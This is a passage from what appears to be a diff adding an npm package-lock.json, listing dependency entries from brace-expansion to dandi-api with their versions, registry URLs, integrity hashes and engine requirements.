"sha512-AlcaJBi/pqqJBIQ8U9Mcpc9i8Aqxn88Skv5d+xBX006BY5u8N3mGLHa5Lgppa7L/HfwgwLgZ6NYs+Ag6uUmJRA==", + "optional": true + }, + "node_modules/brace-expansion": { + "version": "1.1.11", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz", + "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==", + "dependencies": { + "balanced-match": "^1.0.0", + "concat-map": "0.0.1" + } + }, + "node_modules/braces": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz", + "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==", + "dependencies": { + "fill-range": "^7.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/browser-process-hrtime": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/browser-process-hrtime/-/browser-process-hrtime-1.0.0.tgz", + "integrity": "sha512-9o5UecI3GhkpM6DrXr69PblIuWxPKk9Y0jHBRhdocZ2y7YECBFCsHm79Pr3OyR2AvjhDkabFJaDJMYRazHgsow==" + }, + "node_modules/bson": { + "version": "4.7.2", + "resolved": "https://registry.npmjs.org/bson/-/bson-4.7.2.tgz", + "integrity": "sha512-Ry9wCtIZ5kGqkJoi6aD8KjxFZEx78guTQDnpXWiNthsxzrxAK/i8E6pCHAIZTbaEFWcOCvbecMukfK7XUvyLpQ==", + "dependencies": { + "buffer": "^5.6.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/buffer": { + "version": "5.7.1", + "resolved": "https://registry.npmjs.org/buffer/-/buffer-5.7.1.tgz", + "integrity": "sha512-EHcyIPBQ4BSGlvjB16k5KgAJ27CIsHY/2JBmCRReo48y9rQ3MaUzWX3KVlBa4U7MyX02HdVj0K7C3WaB3ju7FQ==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "dependencies": { + "base64-js": "^1.3.1", + "ieee754": "^1.1.13" + } + }, + "node_modules/buffer-equal": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/buffer-equal/-/buffer-equal-0.0.1.tgz", + "integrity": "sha512-RgSV6InVQ9ODPdLWJ5UAqBqJBOg370Nz6ZQtRzpt6nUjc8v0St97uJ4PYC6NztqIScrAXafKM3mZPMygSe1ggA==", + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/buffer-from": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.2.tgz", + "integrity": "sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ==" + }, + "node_modules/busboy": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/busboy/-/busboy-1.6.0.tgz", + "integrity": "sha512-8SFQbg/0hQ9xy3UNTB0YEnsNBbWfhf7RtnzpL7TkBiTBRfrQ9Fxcnz7VJsleJpyp6rVLvXiuORqjlHi5q+PYuA==", + "dependencies": { + "streamsearch": "^1.1.0" + }, + "engines": { + "node": ">=10.16.0" + } + }, + "node_modules/cache-manager": { + "version": "5.2.3", + "resolved": "https://registry.npmjs.org/cache-manager/-/cache-manager-5.2.3.tgz", + "integrity": "sha512-9OErI8fksFkxAMJ8Mco0aiZSdphyd90HcKiOMJQncSlU1yq/9lHHxrT8PDayxrmr9IIIZPOAEfXuGSD7g29uog==", + "dependencies": { + "lodash.clonedeep": "^4.5.0", + "lru-cache": "^9.1.2" + } + }, + "node_modules/cacheable-lookup": { + "version": "5.0.4", + "resolved": "https://registry.npmjs.org/cacheable-lookup/-/cacheable-lookup-5.0.4.tgz", + "integrity": "sha512-2/kNscPhpcxrOigMZzbiWF7dz8ilhb/nIHU3EyZiXWXpeq/au8qJ8VhdftMkty3n7Gj6HIGalQG8oiBNB3AJgA==", + "engines": { + "node": ">=10.6.0" + } + }, + "node_modules/cacheable-request": { + "version": "7.0.4", + "resolved": "https://registry.npmjs.org/cacheable-request/-/cacheable-request-7.0.4.tgz", + "integrity": "sha512-v+p6ongsrp0yTGbJXjgxPow2+DL93DASP4kXCDKb8/bwRtt9OEF3whggkkDkGNzgcWy2XaF4a8nZglC7uElscg==", + "dependencies": { + "clone-response": "^1.0.2", + "get-stream": "^5.1.0", + "http-cache-semantics": "^4.0.0", + "keyv": "^4.0.0", + "lowercase-keys": "^2.0.0", + "normalize-url": "^6.0.1", + "responselike": "^2.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/call-bind": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/call-bind/-/call-bind-1.0.2.tgz", + "integrity": "sha512-7O+FbCihrB5WGbFYesctwmTKae6rOiIzmz1icreWJ+0aA7LJfuqhEso2T9ncpcFtzMQtzXf2QGGueWJGTYsqrA==", + "dependencies": { + "function-bind": "^1.1.1", + "get-intrinsic": "^1.0.2" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/camelcase": { + "version": "5.3.1", + "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-5.3.1.tgz", + "integrity": "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==", + "engines": { + "node": ">=6" + } + }, + "node_modules/caseless": { + "version": "0.12.0", + "resolved": "https://registry.npmjs.org/caseless/-/caseless-0.12.0.tgz", + "integrity": "sha512-4tYFyifaFfGacoiObjJegolkwSU4xQNGbVgUiNYVUxbQ2x2lUsFvY4hVgVzGiIe6WLOPqycWXA40l+PWsxthUw==" + }, + "node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/chance": { + "version": "1.1.9", + "resolved": "https://registry.npmjs.org/chance/-/chance-1.1.9.tgz", + "integrity": "sha512-TfxnA/DcZXRTA4OekA2zL9GH8qscbbl6X0ZqU4tXhGveVY/mXWvEQLt5GwZcYXTEyEFflVtj+pG8nc8EwSm1RQ==" + }, + "node_modules/char-regex": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/char-regex/-/char-regex-1.0.2.tgz", + "integrity": "sha512-kWWXztvZ5SBQV+eRgKFeh8q5sLuZY2+8WUIzlxWVTg+oGwY14qylx1KbKzHd8P6ZYkAg0xyIDU9JMHhyJMZ1jw==", + "engines": { + "node": ">=10" + } + }, + "node_modules/charenc": { + "version": "0.0.2", + "resolved": "https://registry.npmjs.org/charenc/-/charenc-0.0.2.tgz", + "integrity": "sha512-yrLQ/yVUFXkzg7EDQsPieE/53+0RlaWTs+wBrvW36cyilJ2SaDWfl4Yj7MtLTXleV9uEKefbAGUPv2/iWSooRA==", + "engines": { + "node": "*" + } + }, + "node_modules/charm": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/charm/-/charm-0.1.2.tgz", + "integrity": "sha512-syedaZ9cPe7r3hoQA9twWYKu5AIyCswN5+szkmPBe9ccdLrj4bYaCnLVPTLd2kgVRc7+zoX4tyPgRnFKCj5YjQ==" + }, + "node_modules/cheerio": { + "version": "1.0.0-rc.12", + "resolved": "https://registry.npmjs.org/cheerio/-/cheerio-1.0.0-rc.12.tgz", + "integrity": "sha512-VqR8m68vM46BNnuZ5NtnGBKIE/DfN0cRIzg9n40EIq9NOv90ayxLBXA8fXC5gquFRGJSTRqBq25Jt2ECLR431Q==", + "dependencies": { + "cheerio-select": "^2.1.0", + "dom-serializer": "^2.0.0", + "domhandler": "^5.0.3", + "domutils": "^3.0.1", + "htmlparser2": "^8.0.1", + "parse5": "^7.0.0", + "parse5-htmlparser2-tree-adapter": "^7.0.0" + }, + "engines": { + "node": ">= 6" + }, + "funding": { + "url": "https://github.com/cheeriojs/cheerio?sponsor=1" + } + }, + "node_modules/cheerio-select": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/cheerio-select/-/cheerio-select-2.1.0.tgz", + "integrity": "sha512-9v9kG0LvzrlcungtnJtpGNxY+fzECQKhK4EGJX2vByejiMX84MFNQw4UxPJl3bFbTMw+Dfs37XaIkCwTZfLh4g==", + "dependencies": { + "boolbase": "^1.0.0", + "css-select": "^5.1.0", + "css-what": "^6.1.0", + "domelementtype": "^2.3.0", + "domhandler": "^5.0.3", + "domutils": "^3.0.1" + }, + "funding": { + "url": "https://github.com/sponsors/fb55" + } + }, + "node_modules/child_process": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/child_process/-/child_process-1.0.2.tgz", + "integrity": "sha512-Wmza/JzL0SiWz7kl6MhIKT5ceIlnFPJX+lwUGj7Clhy5MMldsSoJR0+uvRzOS5Kv45Mq7t1PoE8TsOA9bzvb6g==" + }, + "node_modules/chokidar": { + "version": "3.5.3", + "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.5.3.tgz", + "integrity": "sha512-Dr3sfKRP6oTcjf2JmUmFJfeVMvXBdegxB0iVQ5eb2V10uFJUCAS8OByZdVAyVb8xXNz3GjjTgj9kLWsZTqE6kw==", + "funding": [ + { + "type": "individual", + "url": "https://paulmillr.com/funding/" + } + ], + "dependencies": { + "anymatch": "~3.1.2", + "braces": "~3.0.2", + "glob-parent": "~5.1.2", + "is-binary-path": "~2.1.0", + "is-glob": "~4.0.1", + "normalize-path": "~3.0.0", + "readdirp": "~3.6.0" + }, + "engines": { + "node": ">= 8.10.0" + }, + "optionalDependencies": { + "fsevents": "~2.3.2" + } + }, + "node_modules/class-validator": { + "version": "0.14.0", + "resolved": "https://registry.npmjs.org/class-validator/-/class-validator-0.14.0.tgz", + "integrity": "sha512-ct3ltplN8I9fOwUd8GrP8UQixwff129BkEtuWDKL5W45cQuLd19xqmTLu5ge78YDm/fdje6FMt0hGOhl0lii3A==", + "dependencies": { + "@types/validator": "^13.7.10", + "libphonenumber-js": "^1.10.14", + "validator": "^13.7.0" + } + }, + "node_modules/cli-color": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/cli-color/-/cli-color-1.2.0.tgz", + "integrity": "sha512-AqfwItf/UqGif3FBErI3NHX04v5ywJtGYlL5z4OqWR50u7g+Fz3Xw2qcCIbKVPrqtJCBwSOkDgnSlHbcpwDKHw==", + "dependencies": { + "ansi-regex": "^2.1.1", + "d": "1", + "es5-ext": "^0.10.12", + "es6-iterator": "2", + "memoizee": "^0.4.3", + "timers-ext": "0.1" + } + }, + "node_modules/cli-color/node_modules/ansi-regex": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-2.1.1.tgz", + "integrity": "sha512-TIGnTpdo+E3+pCyAluZvtED5p5wCqLdezCyhPZzKPcxvFplEt4i+W7OONCKgeZFT3+y5NZZfOOS/Bdcanm1MYA==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/cli-cursor": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/cli-cursor/-/cli-cursor-3.1.0.tgz", + "integrity": "sha512-I/zHAwsKf9FqGoXM4WWRACob9+SNukZTd94DWF57E4toouRulbCxcUh6RKUEOQlYTHJnzkPMySvPNaaSLNfLZw==", + "dependencies": { + "restore-cursor": "^3.1.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/cli-spinners": { + "version": "2.9.0", + "resolved": "https://registry.npmjs.org/cli-spinners/-/cli-spinners-2.9.0.tgz", + "integrity": "sha512-4/aL9X3Wh0yiMQlE+eeRhWP6vclO3QRtw1JHKIT0FFUs5FjpFmESqtMvYZ0+lbzBw900b95mS0hohy+qn2VK/g==", + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/cli-tableau": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/cli-tableau/-/cli-tableau-2.0.1.tgz", + "integrity": "sha512-he+WTicka9cl0Fg/y+YyxcN6/bfQ/1O3QmgxRXDhABKqLzvoOSM4fMzp39uMyLBulAFuywD2N7UaoQE7WaADxQ==", + "dependencies": { + "chalk": "3.0.0" + }, + "engines": { + "node": ">=8.10.0" + } + }, + "node_modules/cli-tableau/node_modules/chalk": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-3.0.0.tgz", + "integrity": "sha512-4D3B6Wf41KOYRFdszmDqMCGq5VV/uMAB273JILmO+3jAlh8X4qDtdtgCR3fxtbLEMzSx22QdhnDcJvu2u1fVwg==", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/cliui": { + "version": "8.0.1", + "resolved": "https://registry.npmjs.org/cliui/-/cliui-8.0.1.tgz", + "integrity": "sha512-BSeNnyus75C4//NQ9gQt1/csTXyo/8Sb+afLAkzAptFuMsod9HFokGNudZpi/oQV73hnVK+sR+5PVRMd+Dr7YQ==", + "dependencies": { + "string-width": "^4.2.0", + "strip-ansi": "^6.0.1", + "wrap-ansi": "^7.0.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/clone": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/clone/-/clone-2.1.2.tgz", + "integrity": "sha512-3Pe/CF1Nn94hyhIYpjtiLhdCoEoz0DqQ+988E9gmeEdQZlojxnOb74wctFyuwWQHzqyf9X7C7MG8juUpqBJT8w==", + "engines": { + "node": ">=0.8" + } + }, + "node_modules/clone-response": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/clone-response/-/clone-response-1.0.3.tgz", + "integrity": "sha512-ROoL94jJH2dUVML2Y/5PEDNaSHgeOdSDicUyS7izcF63G6sTc/FTjLub4b8Il9S8S0beOfYt0TaA5qvFK+w0wA==", + "dependencies": { + "mimic-response": "^1.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/codec-parser": { + "version": "2.4.3", + "resolved": "https://registry.npmjs.org/codec-parser/-/codec-parser-2.4.3.tgz", + "integrity": "sha512-3dAvFtdpxn4YLstqsB2ZiJXXNg7n1j7R5ONeDuk+2kBkb39PwrCRytOFHlSWA8q5jCjW3PumeMv9q37bFHsijg==" + }, + "node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "node_modules/colors": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/colors/-/colors-1.4.0.tgz", + "integrity": "sha512-a+UqTh4kgZg/SlGvfbzDHpgRu7AAQOmmqRHJnxhRZICKFUT91brVhNNt58CMWU9PsBbv3PDCZUHbVxuDiH2mtA==", + "engines": { + "node": ">=0.1.90" + } + }, + "node_modules/combined-stream": { + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz", + "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==", + "dependencies": { + "delayed-stream": "~1.0.0" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/command-line-args": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/command-line-args/-/command-line-args-5.2.1.tgz", + "integrity": "sha512-H4UfQhZyakIjC74I9d34fGYDwk3XpSr17QhEd0Q3I9Xq1CETHo4Hcuo87WyWHpAF1aSLjLRf5lD9ZGX2qStUvg==", + "dependencies": { + "array-back": "^3.1.0", + "find-replace": "^3.0.0", + "lodash.camelcase": "^4.3.0", + "typical": "^4.0.0" + }, + "engines": { + "node": ">=4.0.0" + } + }, + "node_modules/commander": { + "version": "10.0.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-10.0.0.tgz", + "integrity": "sha512-zS5PnTI22FIRM6ylNW8G4Ap0IEOyk62fhLSD0+uHRT9McRCLGpkVNvao4bjimpK/GShynyQkFFxHhwMcETmduA==", + "engines": { + "node": ">=14" + } + }, + "node_modules/complex.js": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/complex.js/-/complex.js-2.1.1.tgz", + "integrity": "sha512-8njCHOTtFFLtegk6zQo0kkVX1rngygb/KQI6z1qZxlFI3scluC+LVTCFbrkWjBv4vvLlbQ9t88IPMC6k95VTTg==", + "engines": { + "node": "*" + }, + "funding": { + "type": "patreon", + "url": "https://www.patreon.com/infusion" + } + }, + "node_modules/component-emitter": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/component-emitter/-/component-emitter-1.3.0.tgz", + "integrity": "sha512-Rd3se6QB+sO1TwqZjscQrurpEPIfO0/yYnSin6Q/rD3mOutHvUrCAhJub3r90uNb+SESBuE0QYoB90YdfatsRg==" + }, + "node_modules/concat-map": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", + "integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==" + }, + "node_modules/concat-stream": { + "version": "1.6.2", + "resolved": "https://registry.npmjs.org/concat-stream/-/concat-stream-1.6.2.tgz", + "integrity": "sha512-27HBghJxjiZtIk3Ycvn/4kbJk/1uZuJFfuPEns6LaEvpvG1f0hTea8lilrouyo9mVc2GWdcEZ8OLoGmSADlrCw==", + "engines": [ + "node >= 0.8" + ], + "dependencies": { + "buffer-from": "^1.0.0", + "inherits": "^2.0.3", + "readable-stream": "^2.2.2", + "typedarray": "^0.0.6" + } + }, + "node_modules/content-type": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/content-type/-/content-type-1.0.5.tgz", + "integrity": "sha512-nTjqfcBFEipKdXCv4YDQWCfmcLZKm81ldF0pAopTvyrFGVbcR6P/VAAd5G7N+0tTr8QqiU0tFadD6FK4NtJwOA==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/continuation-local-storage": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/continuation-local-storage/-/continuation-local-storage-3.2.1.tgz", + "integrity": "sha512-jx44cconVqkCEEyLSKWwkvUXwO561jXMa3LPjTPsm5QR22PA0/mhe33FT4Xb5y74JDvt/Cq+5lm8S8rskLv9ZA==", + "dependencies": { + "async-listener": "^0.6.0", + "emitter-listener": "^1.1.1" + } + }, + "node_modules/cookie": { + "version": "0.5.0", + "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.5.0.tgz", + "integrity": "sha512-YZ3GUyn/o8gfKJlnlX7g7xq4gyO6OSuhGPKaaGssGB2qgDUS0gPgtTvoyZLTt9Ab6dC4hfc9dV5arkvc/OCmrw==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/cookiejar": { + "version": "2.1.4", + "resolved": "https://registry.npmjs.org/cookiejar/-/cookiejar-2.1.4.tgz", + "integrity": "sha512-LDx6oHrK+PhzLKJU9j5S7/Y3jM/mUHvD/DeI1WQmJn652iPC5Y4TBzC9l+5OMOXlyTTA+SmVUPm0HQUwpD5Jqw==" + }, + "node_modules/core-util-is": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.3.tgz", + "integrity": "sha512-ZQBvi1DcpJ4GDqanjucZ2Hj3wEO5pZDS89BWbkcrvdxksJorwUDDZamX9ldFkp9aw2lmBDLgkObEA4DWNJ9FYQ==" + }, + "node_modules/create-require": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/create-require/-/create-require-1.1.1.tgz", + "integrity": "sha512-dcKFX3jn0MpIaXjisoRvexIJVEKzaq7z2rZKxf+MSr9TkdmHmsU4m2lcLojrj/FHl8mk5VxMmYA+ftRkP/3oKQ==" + }, + "node_modules/croner": { + "version": "4.1.97", + "resolved": "https://registry.npmjs.org/croner/-/croner-4.1.97.tgz", + "integrity": "sha512-/f6gpQuxDaqXu+1kwQYSckUglPaOrHdbIlBAu0YuW8/Cdb45XwXYNUBXg3r/9Mo6n540Kn/smKcZWko5x99KrQ==" + }, + "node_modules/crypt": { + "version": "0.0.2", + "resolved": "https://registry.npmjs.org/crypt/-/crypt-0.0.2.tgz", + "integrity": "sha512-mCxBlsHFYh9C+HVpiEacem8FEBnMXgU9gy4zmNC+SXAZNB/1idgp/aulFJ4FgCi7GPEVbfyng092GqL2k2rmow==", + "engines": { + "node": "*" + } + }, + "node_modules/crypto": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/crypto/-/crypto-1.0.1.tgz", + "integrity": "sha512-VxBKmeNcqQdiUQUW2Tzq0t377b54N2bMtXO/qiLa+6eRRmmC4qT3D4OnTGoT/U6O9aklQ/jTwbOtRMTTY8G0Ig==", + "deprecated": "This package is no longer supported. It's now a built-in Node module. If you've depended on crypto, you should switch to the one that's built-in." + }, + "node_modules/css-select": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/css-select/-/css-select-5.1.0.tgz", + "integrity": "sha512-nwoRF1rvRRnnCqqY7updORDsuqKzqYJ28+oSMaJMMgOauh3fvwHqMS7EZpIPqK8GL+g9mKxF1vP/ZjSeNjEVHg==", + "dependencies": { + "boolbase": "^1.0.0", + "css-what": "^6.1.0", + "domhandler": "^5.0.2", + "domutils": "^3.0.1", + "nth-check": "^2.0.1" + }, + "funding": { + "url": "https://github.com/sponsors/fb55" + } + }, + "node_modules/css-what": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/css-what/-/css-what-6.1.0.tgz", + "integrity": "sha512-HTUrgRJ7r4dsZKU6GjmpfRK1O76h97Z8MfS1G0FozR+oF2kG6Vfe8JE6zwrkbxigziPHinCJ+gCPjA9EaBDtRw==", + "engines": { + "node": ">= 6" + }, + "funding": { + "url": "https://github.com/sponsors/fb55" + } + }, + "node_modules/cssom": { + "version": "0.4.4", + "resolved": "https://registry.npmjs.org/cssom/-/cssom-0.4.4.tgz", + "integrity": "sha512-p3pvU7r1MyyqbTk+WbNJIgJjG2VmTIaB10rI93LzVPrmDJKkzKYMtxxyAvQXR/NS6otuzveI7+7BBq3SjBS2mw==" + }, + "node_modules/cssstyle": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/cssstyle/-/cssstyle-2.3.0.tgz", + "integrity": "sha512-AZL67abkUzIuvcHqk7c09cezpGNcxUxU4Ioi/05xHk4DQeTkWmGYftIE6ctU6AEt+Gn4n1lDStOtj7FKycP71A==", + "dependencies": { + "cssom": "~0.3.6" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/cssstyle/node_modules/cssom": { + "version": "0.3.8", + "resolved": "https://registry.npmjs.org/cssom/-/cssom-0.3.8.tgz", + "integrity": "sha512-b0tGHbfegbhPJpxpiBPU2sCkigAqtM9O121le6bbOlgyV+NyGyCmVfJ6QW9eRjz8CpNfWEOYBIMIGRYkLwsIYg==" + }, + "node_modules/culvert": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/culvert/-/culvert-0.1.2.tgz", + "integrity": "sha512-yi1x3EAWKjQTreYWeSd98431AV+IEE0qoDyOoaHJ7KJ21gv6HtBXHVLX74opVSGqcR8/AbjJBHAHpcOy2bj5Gg==" + }, + "node_modules/curve25519-js": { + "version": "0.0.4", + "resolved": "https://registry.npmjs.org/curve25519-js/-/curve25519-js-0.0.4.tgz", + "integrity": "sha512-axn2UMEnkhyDUPWOwVKBMVIzSQy2ejH2xRGy1wq81dqRwApXfIzfbE3hIX0ZRFBIihf/KDqK158DLwESu4AK1w==" + }, + "node_modules/d": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/d/-/d-1.0.1.tgz", + "integrity": "sha512-m62ShEObQ39CfralilEQRjH6oAMtNCV1xJyEx5LpRYUVN+EviphDgUc/F3hnYbADmkiNs67Y+3ylmlG7Lnu+FA==", + "dependencies": { + "es5-ext": "^0.10.50", + "type": "^1.0.1" + } + }, + "node_modules/dandi-api": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/dandi-api/-/dandi-api-1.2.0.tgz", + "integrity": "sha512-/hJ741jix1zwiJI4lVEvj9ws51Ak0ZtNBnUnR/Q+S2tXMnpQKxXMWrAMYsfZWMHwF9ml/NkJSHIBa6VIrGKwcw==", + "dependencies": { + "axios": "^0.21.1", + "cheerio": "^1.0.0-rc.10", + "cookie": "^0.5.0", + "dandi-api": "^1.1.0", + "fetch": "^1.1.0", + "file-type": "^17.1.1", + "form-data": "^4.0.0", + "insta-fetcher": "^1.3.17", + "jsdom": "^19.0.0", + "jsdon": "^0.1.15", + "node-fetch": "^2.6.1", + "qs": "^6.10.3", + "request": "^2.88.2", + "url": "^0.11.0", + "yt-search": "^2.10.3" + } + }, + "node_modules/dandi-api/node_modules/@tootallnate/once": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/@tootallnate/once/-/once-2.0.0.tgz", + "integrity": "sha512-XCuKFP5PS55gnMVu3dty8KPatLqUoy/ZYzDzAGCQ8JNFCkLXzmI7vNHCR+XpbZaMWQK/vQubr7PkYq8g470J/A==", + "engines": { + "node": ">= 10" + } + }, + "node_modules/dandi-api/node_modules/axios": { + "version": "0.21.4", + "resolved": "https://registry.npmjs.org/axios/-/axios-0.21.4.tgz", + "integrity": "sha512-ut5vewkiu8jjGBdqpM44XxjuCjq9LAKeHVmoVfHVzy8eHgxxq8SbAVQNovDA8mVi05kP0Ea/n/UzcSHcTJQfNg==", + "dependencies": { + "follow-redirects": "^1.14.0" + } + }, + "node_modules/dandi-api/node_modules/cssom": { + "version": "0.5.0", + "resolved": "https://registry.npmjs.org/cssom/-/cssom-0.5.0.tgz", + "integrity": "sha512-iKuQcq+NdHqlAcwUY0o/HL69XQrUaQdMjmStJ8JFmUaiiQErlhrmuigkg/CU4E2J0IyUKUrMAgl36TvN67MqTw==" + }, + "node_modules/dandi-api/node_modules/data-urls": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/data-urls/-/data-urls-3.0.2.tgz", + "integrity": "sha512-Jy/tj3ldjZJo63sVAvg6LHt2mHvl4V6AgRAmNDtLdm7faqtsx+aJG42rsyCo9JCoRVKwPFzKlIPx3DIibwSIaQ==", + "dependencies": { + "abab": "^2.0.6", + "whatwg-mimetype": "^3.0.0", + "whatwg-url": "^11.0.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/dandi-api/node_modules/data-urls/node_modules/whatwg-url": { + "version": "11.0.0", + "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-11.0.0.tgz", + "integrity": "sha512-RKT8HExMpoYx4igMiVMY83lN6UeITKJlBQ+vR/8ZJ8OCdSiN3RwCq+9gH0+Xzj0+5IrM6i4j/6LuvzbZIQgEcQ==", + "dependencies": { + "tr46": "^3.0.0", + "webidl-conversions": "^7.0.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/dandi-api/node_modules/domexception": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/domexception/-/domexception-4.0.0.tgz", + "integrity": "sha512-A2is4PLG+eeSfoTMA95/s4pvAoSo2mKtiM5jlHkAVewmiO8ISFTFKZjH7UAM1Atli/OT/7JHOrJRJiMKUZKYBw==", + "dependencies": { + "webidl-conversions": "^7.0.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/dandi-api/node_modules/file-type": { + "version": "17.1.6", + "resolved": "https://registry.npmjs.org/file-type/-/file-type-17.1.6.tgz", + "integrity": "sha512-hlDw5Ev+9e883s0pwUsuuYNu4tD7GgpUnOvykjv1Gya0ZIjuKumthDRua90VUn6/nlRKAjcxLUnHNTIUWwWIiw==", + "dependencies": { + "readable-web-to-node-stream": "^3.0.2", + "strtok3": "^7.0.0-alpha.9", + "token-types": "^5.0.0-alpha.2" + }, + "engines": { + "node": "^12.20.0 || ^14.13.1 || >=16.0.0" + }, + "funding": { + "url": "https://github.com/sindresorhus/file-type?sponsor=1" + } + }, + "node_modules/dandi-api/node_modules/html-encoding-sniffer": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/html-encoding-sniffer/-/html-encoding-sniffer-3.0.0.tgz", + "integrity": "sha512-oWv4T4yJ52iKrufjnyZPkrN0CH3QnrUqdB6In1g5Fe1mia8GmF36gnfNySxoZtxD5+NmYw1EElVXiBk93UeskA==", + "dependencies": { + "whatwg-encoding": "^2.0.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/dandi-api/node_modules/http-proxy-agent": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-5.0.0.tgz", + "integrity": 